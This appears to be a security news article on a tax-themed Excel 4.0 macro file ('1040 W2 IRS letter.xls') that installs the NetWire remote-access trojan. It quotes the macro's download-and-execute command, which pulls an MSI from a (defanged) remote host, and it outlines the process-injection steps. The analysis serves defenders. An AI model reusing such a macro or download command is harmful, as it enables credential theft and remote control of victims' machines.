Saturday, April 13, 2024

Hackers Attack Taxpayers Computers Using Netwire RAT via Weaponized Microsoft Excel 4.0

With tax season upon us, Researchers from FortiGuard Labs observed that a new NetWire RAT is spreading in wild using legacy MS Excel 4.0 named “1040 W2 IRS letter.xls” to perform keylogger functions such as capturing screenshots, collecting credentials and so on from victim machines.

In the past, Many NetWire RAT campaigns primarily target verticals like financial services, businesses, and educational institutions. 

It is a multiplatform RAT typically delivered via malspam attachments that contain Microsoft Office files with embedded executables.

It has emerged in the wild from 2012 onwards with improved remote access features and is commercially available in the dark web.

Netwire RAT campaigns 

This is the first time, Researchers observed NetWire RAT being spread in an Excel file using an Excel 4.0 Macro. Excel 4.0 was introduced in 1992, contained an early version of Macro Excel 4.0 macros (also called XLM macros ) predate VBA macros, it works as composed of functions placed inside cells of a macro sheet.

Excel 4.0 macros are still supported in the most recent Microsoft Office versions including office 2019 utilized for the offensive purpose by cyber threats.

Tax-Themed campaign via Excel 4.0 Macro 

The captured Excel file is called, “1040 W2 IRS letter.xls”. With obfuscated IRS forms in background lures victims to click the “Enable Content” button to show the clear forms, which enables the malicious Excel 4.0 Macro to be executed.

Tax-Themed Excel 4.0 Macro

Sample image shows that sheet “Macro1” is visible and the content of cell number “$A$9591” is “=EXEC(“powershell msiexe” & B7578 & ” /q /i http[:]//binexeupload[.]ru/unmodifiedness[.]msi”)” as it’s not obfuscated .

Macro C2C Command

“=EXEC” is a built-in Macro function that can be called to execute a local program with parameters. “B7578” is for reading out a value from cell “$B$7578”, whose value is empty. Therefore, the Excel 4.0 Macro will execute the program “powershell.exe” with the parameter followed, which will download an MSI file named ““unmodifiedness.msi” from a web site and then execute it using the Windows program “msiexe.exe”.

When it starts, it transfers malicious codes into the sub-process “ieinstal.exe” and executes there. It then transfers the malicious code into a newly created memory space in “ieinstal.exe”.

Finally, it modifies the “ieinstal.exe” entry point to the transferred malicious code by calling API ZwSetContextThread(), and then resumes running after calling the API ZwResumeThread().

The process tree of the running downloaded MSI file

Next, it will download an encrypted bin file from its download server, http[:]//stubbackup[.]ru/Host2_encrypted_3160FB0.bin

It then decrypts the bin file to get another PE file, which is the payload of a new NetWire variant. It then puts the PE file into the memory starting at offset 0x400000 to replace the existing data of “ieinstal.exe”

NetWire RAT collects the data such as current system time, the variant host-ID, the victim’s login user, the computer name, capture a screenshot of the victim’s screen into JPEG and so on. It has improved its feature that collects credentials from the victim’s.

Indicators of compromise (IOC):




Latest articles

Alert! Palo Alto RCE Zero-day Vulnerability Actively Exploited in the Wild

In a recent security bulletin, Palo Alto Networks disclosed a critical vulnerability in its...

6-year-old Lighttpd Flaw Impacts Intel And Lenovo Servers

The software supply chain is filled with various challenges, such as untracked security vulnerabilities...

Hackers Employ Deepfake Technology To Impersonate as LastPass CEO

A LastPass employee recently became the target of an attempted fraud involving sophisticated audio...

Sisence Data Breach, CISA Urges To Reset Login Credentials

In response to a recent data breach at Sisense, a provider of data analytics...

DuckDuckGo Launches Privacy Pro: 3-in-1 service With VPN

DuckDuckGo has launched Privacy Pro, a new subscription service that promises to enhance user...

Cyber Attack Surge by 28%:Education Sector at High Risk

In Q1 2024, Check Point Research (CPR) witnessed a notable increase in the average...

Midnight Blizzard’s Microsoft Corporate Email Hack Threatens Federal Agencies: CISA Warns

The Cybersecurity and Infrastructure Security Agency (CISA) has issued an emergency directive concerning a...

Top 3 SME Attack Vectors

Securing the Top 3 SME Attack Vectors

Cybercriminals are laying siege to small-to-medium enterprises (SMEs) across sectors. 73% of SMEs know they were breached in 2023. The real rate could be closer to 100%.

  • Stolen credentials
  • Phishing
  • Exploitation of vulnerabilities

Related Articles